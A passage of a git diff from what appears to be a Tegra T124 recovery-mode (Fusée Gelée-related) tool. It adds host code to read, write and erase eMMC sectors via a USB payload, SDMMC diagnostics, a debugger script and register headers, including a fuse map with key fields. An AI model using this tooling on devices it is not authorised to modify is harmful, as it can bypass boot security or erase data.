printf( " 0x2C after poll: 0x%08x (IntClk:%s Stable:%s div:0x%02x)\n",
|
||||
r[25],
|
||||
(r[25] & 1) ? "ON" : "OFF",
|
||||
(r[25] & 2) ? "YES!" : "NO",
|
||||
(r[25] >> 8) & 0xFF );
|
||||
printf( " Stable: %s\n", r[26] ? "=== YES! ===" : "NO" );
|
||||
printf( " Final state:\n" );
|
||||
printf( " 0x2C final: 0x%08x (IntClk:%s Stable:%s SDClk:%s)\n",
|
||||
r[27],
|
||||
(r[27] & 1) ? "ON" : "OFF",
|
||||
(r[27] & 2) ? "YES" : "NO",
|
||||
(r[27] & 4) ? "ON" : "OFF" );
|
||||
printf( " 0x28 (hctl+pwr): 0x%08x (power:%s)\n",
|
||||
r[28], (r[28] & 0x0100) ? "ON" : "OFF" );
|
||||
printf( " PRESENT_STATE: 0x%08x (card:%s cmd_inh:%s dat_inh:%s)\n",
|
||||
r[29],
|
||||
(r[29] & 0x00010000) ? "IN" : "NONE",
|
||||
(r[29] & 1) ? "Y" : "N",
|
||||
(r[29] & 2) ? "Y" : "N" );
|
||||
{
|
||||
uint32_t dat_lines = (r[29] >> 20) & 0xF;
|
||||
uint32_t cmd_line = (r[29] >> 24) & 0x1;
|
||||
printf( " (DAT[3:0]=%u%u%u%u CMD=%u)\n",
|
||||
(dat_lines>>3)&1, (dat_lines>>2)&1, (dat_lines>>1)&1, dat_lines&1, cmd_line );
|
||||
}
|
||||
printf( " VENDOR_CLK_CTRL: 0x%08x\n", r[30] );
|
||||
printf( " VENDOR_MISC_CTRL: 0x%08x\n", r[31] );
|
||||
|
||||
printf( "\n--- CMD1 (SEND_OP_COND) Diagnostics ---\n" );
|
||||
printf( " First OCR response: 0x%08x (ready:%s sector:%s)\n", r[32],
|
||||
(r[32] & (1u<<31)) ? "YES" : "NO",
|
||||
(r[32] & (1u<<30)) ? "YES" : "NO" );
|
||||
printf( " Last OCR response: 0x%08x (ready:%s sector:%s)\n", r[33],
|
||||
(r[33] & (1u<<31)) ? "YES" : "NO",
|
||||
(r[33] & (1u<<30)) ? "YES" : "NO" );
|
||||
printf( " CMD1 retries used: %u\n", r[34] );
|
||||
|
||||
printf( "\n RESULT: %s\n",
|
||||
r[46] >= 5 ? "=== FULLY INITIALIZED! ===" :
|
||||
r[46] == 4 ? "CMD2 OK (CMD3/7/16 failed)" :
|
||||
r[46] == 3 ? "CMD1 OK (CMD2+ failed)" :
|
||||
r[46] == 2 ? "CMD0 OK (CMD1 failed)" :
|
||||
r[46] == 1 ? "Clock stable (CMD0 failed)" : "Clock unstable" );
|
||||
|
||||
if ((r[1] & 0xF0000000) == 0xE0000000) {
|
||||
uint32_t err_code = r[49];
|
||||
uint32_t err_int = r[50];
|
||||
uint32_t err_pstate = r[51];
|
||||
const char *err_names[] = { "?", "CMD_INHIBIT timeout", "INT_ERROR", "CMD_COMPLETE timeout", "DAT_INHIBIT timeout" };
|
||||
printf( " CMD error details:\n" );
|
||||
printf( " send_cmd returned: -%u (%s)\n", err_code,
|
||||
err_code < 5 ? err_names[err_code] : "unknown" );
|
||||
printf( " INT_STATUS: 0x%08x\n", err_int );
|
||||
printf( " PRESENT_STATE: 0x%08x\n", err_pstate );
|
||||
if (err_int & 0x00010000) printf( " -> Command Timeout Error\n" );
|
||||
if (err_int & 0x00020000) printf( " -> Command CRC Error\n" );
|
||||
if (err_int & 0x00040000) printf( " -> Command End Bit Error\n" );
|
||||
if (err_int & 0x00080000) printf( " -> Command Index Error\n" );
|
||||
if (err_int & 0x00100000) printf( " -> Data Timeout Error\n" );
|
||||
if (err_int & 0x00200000) printf( " -> Data CRC Error\n" );
|
||||
if (err_pstate & 0x01) printf( " -> CMD line still busy\n" );
|
||||
}
|
||||
|
||||
_ret_main = 0;
|
||||
}
|
||||
|
||||
if ( emmc_mode == 2 ) { /* EMMC_READ */
|
||||
|
||||
dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
|
||||
if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }
|
||||
|
||||
printf( "Reading %u (0x%x) sectors starting from sector %u (0x%x)...\n",
|
||||
emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
|
||||
printf( "Total size: %llu bytes (%.1f MB)\n",
|
||||
(unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
|
||||
(double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );
|
||||
|
||||
emmc_cmd.op = EMMC_CMD_READ;
|
||||
emmc_cmd.start_sector = emmc_start_sector;
|
||||
emmc_cmd.num_sectors = emmc_num_sectors;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to send READ command.\n" ); goto emmc_exit; }
|
||||
|
||||
uint32_t remaining = emmc_num_sectors;
|
||||
uint32_t sectors_done = 0;
|
||||
time_t start_time = time(NULL);
|
||||
|
||||
while ( remaining > 0 ) {
|
||||
uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
|
||||
uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, batch_bytes, chunk_buf );
|
||||
if ( ret < 0 ) {
|
||||
printf( "\nError: USB receive failed at sector %u (0x%x).\n",
|
||||
emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
write( dump_fd, chunk_buf, batch_bytes );
|
||||
|
||||
sectors_done += batch;
|
||||
remaining -= batch;
|
||||
|
||||
if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
|
||||
time_t elapsed = time(NULL) - start_time;
|
||||
double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
|
||||
double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
|
||||
double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
|
||||
printf( "\r Progress: %.1f / %.1f MB (%.1f%%) [%lds] ",
|
||||
mb_done, mb_total, pct, (long)elapsed );
|
||||
fflush( stdout );
|
||||
}
|
||||
}
|
||||
|
||||
printf( "\nRead complete. Output: %s\n", emmc_filename );
|
||||
_ret_main = 0;
|
||||
}
|
||||
|
||||
if ( emmc_mode == 3 ) { /* EMMC_WRITE */
|
||||
|
||||
int in_fd = open( emmc_filename, O_RDONLY );
|
||||
if ( in_fd < 0 ) { printf( "Error: Failed to open input file: %s\n", emmc_filename ); goto emmc_exit; }
|
||||
|
||||
struct stat in_stat;
|
||||
fstat( in_fd, &in_stat );
|
||||
emmc_num_sectors = in_stat.st_size / EMMC_SECTOR_SIZE;
|
||||
|
||||
if ( in_stat.st_size % EMMC_SECTOR_SIZE != 0 ) {
|
||||
printf( "Warning: File size not sector-aligned, truncating to %u sectors.\n", emmc_num_sectors );
|
||||
}
|
||||
|
||||
printf( "Writing %u (0x%x) sectors starting at sector %u (0x%x)...\n",
|
||||
emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
|
||||
printf( "Total size: %llu bytes (%.1f MB)\n",
|
||||
(unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
|
||||
(double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );
|
||||
|
||||
emmc_cmd.op = EMMC_CMD_WRITE;
|
||||
emmc_cmd.start_sector = emmc_start_sector;
|
||||
emmc_cmd.num_sectors = emmc_num_sectors;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to send WRITE command.\n" ); close(in_fd); goto emmc_exit; }
|
||||
|
||||
uint32_t remaining = emmc_num_sectors;
|
||||
uint32_t sectors_done = 0;
|
||||
time_t start_time = time(NULL);
|
||||
|
||||
while ( remaining > 0 ) {
|
||||
uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
|
||||
uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;
|
||||
|
||||
int n = read( in_fd, chunk_buf, batch_bytes );
|
||||
if ( n < (int)batch_bytes ) {
|
||||
printf( "\nWarning: Short read from file at sector offset %u.\n", sectors_done );
|
||||
if ( n > 0 ) memset( chunk_buf + n, 0, batch_bytes - n );
|
||||
}
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, batch_bytes, chunk_buf );
|
||||
if ( ret < 0 ) {
|
||||
printf( "\nError: USB send failed at sector %u (0x%x).\n",
|
||||
emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
|
||||
close( in_fd );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
sectors_done += batch;
|
||||
remaining -= batch;
|
||||
|
||||
if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
|
||||
time_t elapsed = time(NULL) - start_time;
|
||||
double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
|
||||
double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
|
||||
double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
|
||||
printf( "\r Progress: %.1f / %.1f MB (%.1f%%) [%lds] ",
|
||||
mb_done, mb_total, pct, (long)elapsed );
|
||||
fflush( stdout );
|
||||
}
|
||||
}
|
||||
|
||||
close( in_fd );
|
||||
|
||||
/* Receive write status from payload */
|
||||
uint32_t write_status;
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &write_status );
|
||||
if ( ret < 0 ) {
|
||||
printf( "\nError: Failed to receive write status.\n" );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
if ( write_status != 0 ) {
|
||||
printf( "\nError: eMMC write failed with status 0x%08x.\n", write_status );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
printf( "\nWrite complete.\n" );
|
||||
_ret_main = 0;
|
||||
}
|
||||
|
||||
if ( emmc_mode == 4 ) { /* EMMC_READ_EXT_CSD */
|
||||
|
||||
dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
|
||||
if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }
|
||||
|
||||
printf( "Reading EXT_CSD register (512 bytes)...\n" );
|
||||
|
||||
emmc_cmd.op = EMMC_CMD_READ_EXT_CSD;
|
||||
emmc_cmd.start_sector = 0;
|
||||
emmc_cmd.num_sectors = 0;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to send READ_EXT_CSD command.\n" ); goto emmc_exit; }
|
||||
|
||||
/* Receive 512 bytes of EXT_CSD data */
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 512, chunk_buf );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: USB receive failed.\n" );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
write( dump_fd, chunk_buf, 512 );
|
||||
|
||||
/* Display some key EXT_CSD fields for user reference */
|
||||
printf( "\nEXT_CSD Register (hex dump):\n" );
|
||||
uint8_t *csd_data = (uint8_t *)chunk_buf;
|
||||
for ( int i = 0; i < 512; i += 16 ) {
|
||||
printf( " %03x: ", i );
|
||||
for ( int j = 0; j < 16; j++ ) {
|
||||
printf( "%02x ", csd_data[i+j] );
|
||||
}
|
||||
printf( "\n" );
|
||||
}
|
||||
|
||||
printf( "\nEXT_CSD saved to: %s\n", emmc_filename );
|
||||
_ret_main = 0;
|
||||
}
|
||||
|
||||
if ( emmc_mode == 5 ) { /* EMMC_ERASE */
|
||||
|
||||
printf( "Erasing sectors %u (0x%x) to %u (0x%x) - forcing reallocation...\n",
|
||||
emmc_start_sector, emmc_start_sector, emmc_num_sectors, emmc_num_sectors );
|
||||
|
||||
emmc_cmd.op = EMMC_CMD_ERASE;
|
||||
emmc_cmd.start_sector = emmc_start_sector;
|
||||
emmc_cmd.num_sectors = emmc_num_sectors; /* Reinterpreted as end_sector */
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to send ERASE command.\n" ); goto emmc_exit; }
|
||||
|
||||
uint32_t erase_status;
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &erase_status );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Failed to receive erase status.\n" );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
if ( erase_status != 0 ) {
|
||||
printf( "Error: eMMC erase failed with status 0x%08x.\n", erase_status );
|
||||
goto emmc_exit;
|
||||
}
|
||||
|
||||
printf( "Erase complete. Sectors have been marked as reallocatable.\n" );
|
||||
_ret_main = 0;
|
||||
}
|
||||
|
||||
emmc_exit:
|
||||
if ( chunk_buf ) {
|
||||
free( chunk_buf );
|
||||
chunk_buf = NULL;
|
||||
}
|
||||
|
||||
/* Send EXIT command to reset device to RCM */
|
||||
emmc_cmd.op = EMMC_CMD_EXIT;
|
||||
emmc_cmd.start_sector = 0;
|
||||
emmc_cmd.num_sectors = 0;
|
||||
usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
}
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
if ( !emmc_mode )
|
||||
_ret_main = 0;
|
||||
|
||||
exit:
|
||||
if ( rcm_usb > 0 ) usb_close( rcm_usb );
|
||||
if ( dump ) free( dump );
|
||||
if ( dump_fd > 0 ) close( dump_fd );
|
||||
if ( data ) free( data );
|
||||
|
||||
return _ret_main;
|
||||
|
||||
}
|
||||
|
||||
BIN
Shofel/fusee_gelee_nvidia.pdf
Normal file
BIN
Shofel/fusee_gelee_nvidia.pdf
Normal file
Binary file not shown.
23
Shofel/gdbinit
Normal file
23
Shofel/gdbinit
Normal file
@@ -0,0 +1,23 @@
|
||||
# J-LINK GDB SERVER initialization
|
||||
#
|
||||
# This connects to a GDB Server listening
|
||||
# for commands on localhost at tcp port 2331
|
||||
target remote localhost:2331
|
||||
# Set JTAG speed to 30 kHz
|
||||
monitor speed 4
|
||||
# Set GDBServer to little endian
|
||||
monitor endian little
|
||||
# Reset the chip to get to a known state.
|
||||
monitor reset
|
||||
#
|
||||
# CPU core initialization (to be done by user)
|
||||
#
|
||||
# Set the processor mode (Enables THUMB)
|
||||
monitor reg cpsr = 0xf3
|
||||
# Set auto JTAG speed
|
||||
monitor speed auto
|
||||
# Setup GDB FOR FASTER DOWNLOADS
|
||||
set remote memory-write-packet-size 1024
|
||||
set remote memory-write-packet-size fixed
|
||||
# Load the program executable called "reset_example.elf"
|
||||
load reset_example.elf
|
||||
102
Shofel/include/emmc.h
Normal file
102
Shofel/include/emmc.h
Normal file
@@ -0,0 +1,102 @@
|
||||
#ifndef _EMMC_H_
|
||||
#define _EMMC_H_
|
||||
|
||||
/* SDMMC4 base address (eMMC) on Tegra T124 - at 0x700B0600, NOT 0x78000600 */
|
||||
#define SDMMC4_BASE 0x700B0600
|
||||
#define SDMMC4_VENDOR_CLK 0x700B0700
|
||||
#define SDMMC4_VENDOR_MISC 0x700B07C0
|
||||
#define SDMMC4_REG_SIZE 0x200
|
||||
|
||||
/* SDHCI register offsets (from SDMMC4_BASE) */
|
||||
#define SDHCI_BLOCK_SIZE 0x04
|
||||
#define SDHCI_ARGUMENT 0x08
|
||||
#define SDHCI_TRANSFER_MODE 0x0C
|
||||
#define SDHCI_RESPONSE 0x10
|
||||
#define SDHCI_BUFFER 0x20
|
||||
#define SDHCI_PRESENT_STATE 0x24
|
||||
#define SDHCI_HOST_CONTROL 0x28
|
||||
#define SDHCI_POWER_CONTROL 0x29
|
||||
#define SDHCI_CLOCK_CONTROL 0x2C
|
||||
#define SDHCI_SOFTWARE_RESET 0x2F
|
||||
#define SDHCI_INT_STATUS 0x30
|
||||
#define SDHCI_INT_ENABLE 0x34
|
||||
#define SDHCI_CAPABILITIES 0x40
|
||||
#define SDHCI_HOST_VERSION 0xFE
|
||||
|
||||
/* Vendor register offsets (from SDMMC4_BASE) */
|
||||
#define SDMMC_VENDOR_CLK_CTRL 0x100 /* 0x700B0700 - Vendor Clock Control */
|
||||
#define SDMMC_VENDOR_MISC_CTRL 0x120 /* 0x700B0720 - Vendor Misc Control */
|
||||
|
||||
/* VENDOR_CLK_CTRL bits */
|
||||
#define SDMMC_CLK_CTRL_PADPIPE 0x08 /* PADPIPE_CLKEN_OVERRIDE */
|
||||
#define SDMMC_CLK_CTRL_SPI_MODE 0x04 /* SPI_MODE_CLKEN_OVERRIDE */
|
||||
|
||||
/* VENDOR_MISC_CTRL bits */
|
||||
#define SDMMC_MISC_CTRL_SPEC_300 0x20 /* Enable SDHCI Spec 3.0 mode */
|
||||
|
||||
/* Auto-calibration registers (from SDMMC4_BASE) */
|
||||
#define SDMMC_SDMEMCOMP_PADCTRL 0x1E0 /* 0x700B07E0 - SDMEM comp pad control */
|
||||
#define SDMMC_AUTO_CAL_CONFIG 0x1E4 /* 0x700B07E4 - Auto-cal configuration */
|
||||
#define SDMMC_AUTO_CAL_STATUS 0x1EC /* 0x700B07EC - Auto-cal status */
|
||||
|
||||
/* SDMEM_COMP_PADCTRL bits */
|
||||
#define SDMMC_COMP_PADCTRL_E_INPUT (1u << 31) /* Force E_INPUT for calibration */
|
||||
|
||||
/* AUTO_CAL_CONFIG bits */
|
||||
#define SDMMC_AUTO_CAL_START (1u << 31) /* Start auto-calibration */
|
||||
#define SDMMC_AUTO_CAL_ENABLE (1u << 29) /* Enable auto-calibration */
|
||||
|
||||
/* AUTO_CAL_STATUS bits */
|
||||
#define SDMMC_AUTO_CAL_ACTIVE (1u << 31) /* Auto-calibration in progress */
|
||||
|
||||
/* Software Reset bits */
|
||||
#define SDHCI_RESET_ALL 0x01
|
||||
#define SDHCI_RESET_CMD 0x02
|
||||
#define SDHCI_RESET_DAT 0x04
|
||||
|
||||
/* PRESENT_STATE bits */
|
||||
#define SDHCI_CMD_INHIBIT 0x00000001
|
||||
#define SDHCI_DAT_INHIBIT 0x00000002
|
||||
#define SDHCI_CARD_INSERTED 0x00010000
|
||||
|
||||
/* INT_STATUS bits */
|
||||
#define SDHCI_INT_CMD_COMPLETE 0x0001
|
||||
#define SDHCI_INT_XFER_COMPLETE 0x0002
|
||||
#define SDHCI_INT_BUF_WR_READY 0x0010
|
||||
#define SDHCI_INT_BUF_RD_READY 0x0020
|
||||
#define SDHCI_INT_ERROR 0x8000
|
||||
|
||||
/*
|
||||
* MMC Command register values (16-bit, placed in upper half of 0x0C write).
|
||||
* Format: (cmd_index << 8) | (type << 6) | (data_present << 5) |
|
||||
* (idx_check << 4) | (crc_check << 3) | response_type
|
||||
* Response types: 0x00=none, 0x01=136-bit(R2), 0x02=48-bit(R1), 0x03=48-bit+busy(R1b)
|
||||
*/
|
||||
#define MMC_CMD17_READ 0x113A /* READ_SINGLE_BLOCK: R1, data, CRC+index check */
|
||||
#define MMC_CMD24_WRITE 0x183A /* WRITE_BLOCK: R1, data, CRC+index check */
|
||||
#define MMC_CMD13_STATUS 0x0D1A /* SEND_STATUS: R1, no data, CRC+index check */
|
||||
|
||||
/* Transfer Mode values (16-bit, lower half of 0x0C write) */
|
||||
#define XFER_MODE_READ 0x0010 /* Data direction = read, single block, PIO */
|
||||
#define XFER_MODE_WRITE 0x0000 /* Data direction = write, single block, PIO */
|
||||
|
||||
/* Additional transfer mode bits */
|
||||
#define XFER_MODE_BLOCK_COUNT_ENABLE 0x0002 /* enable block count register */
|
||||
#define XFER_MODE_AUTO_CMD12 0x0004 /* autostop after multiblock transfer */
|
||||
#define XFER_MODE_MULTI_BLOCK 0x0020 /* the actuall multiblock transfer */
|
||||
|
||||
#define XFER_MODE_READ_MULTI (XFER_MODE_READ | XFER_MODE_BLOCK_COUNT_ENABLE | XFER_MODE_AUTO_CMD12 | XFER_MODE_MULTI_BLOCK)
|
||||
#define XFER_MODE_WRITE_MULTI (XFER_MODE_WRITE | XFER_MODE_BLOCK_COUNT_ENABLE | XFER_MODE_AUTO_CMD12 | XFER_MODE_MULTI_BLOCK)
|
||||
|
||||
/* CAR (Clock and Reset Controller) registers for SDMMC4 */
|
||||
#define CAR_BASE 0x60006000
|
||||
#define CAR_CLK_ENB_L_SET 0x320
|
||||
#define CAR_RST_DEV_L_CLR 0x304
|
||||
#define CAR_RST_DEV_L_SET 0x300
|
||||
#define CAR_SDMMC4_BIT (1 << 15)
|
||||
|
||||
/* PMC I/O deep power down (PMC_BASE defined in t124.h) */
|
||||
#define PMC_IO_DPD2_REQ 0xC0
|
||||
#define PMC_IO_DPD2_STATUS 0xC4
|
||||
|
||||
#endif
|
||||
36
Shofel/include/emmc_server.h
Normal file
36
Shofel/include/emmc_server.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#ifndef _EMMC_SERVER_H_
|
||||
#define _EMMC_SERVER_H_
|
||||
|
||||
#if __arm__
|
||||
typedef u32 uint32_t;
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#endif
|
||||
|
||||
/* eMMC server protocol commands */
|
||||
#define EMMC_CMD_READ 0x01
|
||||
#define EMMC_CMD_WRITE 0x02
|
||||
#define EMMC_CMD_STATUS 0x03
|
||||
#define EMMC_CMD_READ_EXT_CSD 0x04 /* Read 512-byte EXT_CSD register for chip health */
|
||||
#define EMMC_CMD_ERASE 0x05 /* Erase a range of sectors (forces reallocation) */
|
||||
#define EMMC_CMD_EXIT 0xFF
|
||||
|
||||
/* Transfer chunk sizes basically the amount much data is sent/received per USB transfer was not multiple of 0x1000
|
||||
*
|
||||
* Reads: 8 sectors (4KB) = 1.1 MB/s - OPTIMIZED
|
||||
* Writes: 1 sector (512B) - ORIGINAL (safe)
|
||||
*/
|
||||
#define EMMC_CHUNK_SECTORS_READ 8
|
||||
#define EMMC_CHUNK_SECTORS_WRITE 1
|
||||
#define EMMC_CHUNK_SECTORS 1 /* Default - single sector for compatibility */
|
||||
#define EMMC_SECTOR_SIZE 512
|
||||
#define EMMC_CHUNK_BYTES (EMMC_CHUNK_SECTORS * EMMC_SECTOR_SIZE)
|
||||
|
||||
/* Command structure sent from PC to payload */
|
||||
struct emmc_cmd_s {
|
||||
uint32_t op;
|
||||
uint32_t start_sector;
|
||||
uint32_t num_sectors;
|
||||
};
|
||||
|
||||
#endif
|
||||
17
Shofel/include/endianness.h
Normal file
17
Shofel/include/endianness.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#ifndef _ENDIANNESS_H_
|
||||
#define _ENDIANNESS_H_
|
||||
|
||||
#ifdef __BYTE_ORDER
|
||||
#if __BYTE_ORDER == __BIG_ENDIAN
|
||||
|
||||
#include <byteswap.h>
|
||||
#define TO_LITTLE_ENDIAN(x) bswap_32(x)
|
||||
|
||||
#elif __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
|
||||
#define TO_LITTLE_ENDIAN(x) x
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif
|
||||
127
Shofel/include/fuse.h
Normal file
127
Shofel/include/fuse.h
Normal file
@@ -0,0 +1,127 @@
|
||||
#ifndef _FUSE_H_
|
||||
#define _FUSE_H_
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Based on https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
|
||||
|
||||
typedef struct {
|
||||
uint32_t FUSE_PRODUCTION_MODE; //0x000
|
||||
uint32_t FUSE_JTAG_SECUREID_VALID; //0x004
|
||||
uint32_t FUSE_ODM_LOCK; //0x008
|
||||
uint32_t FUSE_OPT_OPENGL_EN; //0x00c
|
||||
uint32_t FUSE_SKU_INFO; //0x010
|
||||
uint32_t FUSE_CPU_SPEEDO_0_CALIB; //0x014
|
||||
uint32_t FUSE_CPU_IDDQ_CALIB; //0x018
|
||||
uint32_t RESERVED_0x01C;
|
||||
uint32_t RESERVED_0x020;
|
||||
uint32_t RESERVED_0x024;
|
||||
uint32_t FUSE_OPT_FT_REV; //0x028
|
||||
uint32_t FUSE_CPU_SPEEDO_1_CALIB; //0x02c
|
||||
uint32_t FUSE_CPU_SPEEDO_2_CALIB; //0x030
|
||||
uint32_t FUSE_SOC_SPEEDO_0_CALIB; //0x034
|
||||
uint32_t FUSE_SOC_SPEEDO_1_CALIB; //0x038
|
||||
uint32_t FUSE_SOC_SPEEDO_2_CALIB; //0x03c
|
||||
uint32_t FUSE_SOC_IDDQ_CALIB; //0x040
|
||||
uint32_t RESERVED_0x044;
|
||||
uint32_t FUSE_FA; //0x048
|
||||
uint32_t FUSE_RESERVED_PRODUCTION; //0x04c
|
||||
uint32_t FUSE_HDMI_LANE0_CALIB; //0x050
|
||||
uint32_t FUSE_HDMI_LANE1_CALIB; //0x054
|
||||
uint32_t FUSE_HDMI_LANE2_CALIB; //0x058
|
||||
uint32_t FUSE_HDMI_LANE3_CALIB; //0x05c
|
||||
uint32_t FUSE_ENCRYPTION_RATE; //0x060
|
||||
uint32_t FUSE_PUBLIC_KEY[0x8]; //0x064 - 0x080
|
||||
uint32_t FUSE_TSENSOR1_CALIB; //0x084
|
||||
uint32_t FUSE_TSENSOR2_CALIB; //0x088
|
||||
uint32_t RESERVED_0x08C;
|
||||
uint32_t FUSE_OPT_CP_REV; //0x090
|
||||
uint32_t FUSE_OPT_PFG; //0x094
|
||||
uint32_t FUSE_TSENSOR0_CALIB; //0x098
|
||||
uint32_t FUSE_BOOTROM_PATCH_SIZE; //0x09c
|
||||
uint32_t FUSE_SECURITY_MODE; //0x0a0
|
||||
uint32_t FUSE_PRIVATE_KEY[0x4]; //0x0a4 - 0x0b0
|
||||
uint32_t FUSE_DEVICE_KEY; //0x0b4
|
||||
uint32_t FUSE_ARM_DEBUG_DIS; //0x0b8
|
||||
uint32_t FUSE_BOOT_DEVICE_INFO; //0x0bc
|
||||
uint32_t FUSE_RESERVED_SW; //0x0c0
|
||||
uint32_t FUSE_VP8_ENABLE; //0x0c4
|
||||
uint32_t FUSE_RESERVED_ODM[0x8]; //0x0c8-0x0e4
|
||||
uint32_t FUSE_OBS_DIS; //0x0e8
|
||||
uint32_t RESERVED_0x0EC;
|
||||
uint32_t FUSE_USB_CALIB; //0x0f0
|
||||
uint32_t FUSE_SKU_DIRECT_CONFIG; //0x0f4
|
||||
uint32_t FUSE_KFUSE_PRIVKEY_CTRL; //0x0f8
|
||||
uint32_t FUSE_PACKAGE_INFO; //0x0fc
|
||||
uint32_t FUSE_OPT_VENDOR_CODE; //0x100
|
||||
uint32_t FUSE_OPT_FAB_CODE; //0x104
|
||||
uint32_t FUSE_OPT_LOT_CODE_0; //0x108
|
||||
uint32_t FUSE_OPT_LOT_CODE_1; //0x10c
|
||||
uint32_t FUSE_OPT_WAFER_ID; //0x110
|
||||
uint32_t FUSE_OPT_X_COORDINATE; //0x114
|
||||
uint32_t FUSE_OPT_Y_COORDINATE; //0x118
|
||||
uint32_t FUSE_OPT_SEC_DEBUG_EN; //0x11c
|
||||
uint32_t FUSE_OPT_OPS_RESERVED; //0x120
|
||||
uint32_t FUSE_SATA_CALIB; //0x124
|
||||
uint32_t FUSE_GPU_IDDQ_CALIB; //0x128
|
||||
uint32_t FUSE_TSENSOR3_CALIB; //0x12c
|
||||
uint32_t FUSE_SKU_BOND_OUT_L; //0x130
|
||||
uint32_t FUSE_SKU_BOND_OUT_H; //0x134
|
||||
uint32_t FUSE_SKU_BOND_OUT_U; //0x138
|
||||
uint32_t FUSE_SKU_BOND_OUT_V; //0x13c
|
||||
uint32_t FUSE_SKU_BOND_OUT_W; //0x140
|
||||
uint32_t RESERVED_0x144;
|
||||
uint32_t FUSE_OPT_SUBREVISION; //0x148
|
||||
uint32_t FUSE_OPT_SW_RESERVED_0; //0x14c
|
||||
uint32_t FUSE_OPT_SW_RESERVED_1; //0x150
|
||||
uint32_t FUSE_TSENSOR4_CALIB; //0x154
|
||||
uint32_t FUSE_TSENSOR5_CALIB; //0x158
|
||||
uint32_t FUSE_TSENSOR6_CALIB; //0x15c
|
||||
uint32_t FUSE_TSENSOR7_CALIB; //0x160
|
||||
uint32_t FUSE_OPT_PRIV_SEC_EN; //0x164
|
||||
uint32_t FUSE_PKC_DISABLE; //0x168
|
||||
uint32_t RESERVED_0x16C;
|
||||
uint32_t RESERVED_0x170;
|
||||
uint32_t RESERVED_0x174;
|
||||
uint32_t RESERVED_0x178;
|
||||
uint32_t FUSE_FUSE2TSEC_DEBUG_DISABLE; //0x17c
|
||||
uint32_t FUSE_TSENSOR8_CALIB; //0x180 // <--WTF
|
||||
uint32_t FUSE_OPT_CP_BIN; //0x184
|
||||
uint32_t FUSE_OPT_GPU_FS; //0x188
|
||||
uint32_t FUSE_OPT_FT_BIN; //0x18c
|
||||
uint32_t RESERVED_0x190;
|
||||
uint32_t FUSE_SKU_BOND_OUT_X; //0x194
|
||||
uint32_t FUSE_APB2JTAG_DISABLE; //0x198
|
||||
uint32_t RESERVED_0x19C;
|
||||
uint32_t FUSE_PHY_FLOORSWEEP; //0x1a0
|
||||
uint32_t FUSE_PHY_FLOOR_ENABLE; //0x1a4
|
||||
uint32_t FUSE_ARM_CRYPT_DE_FEATURE; //0x1a8
|
||||
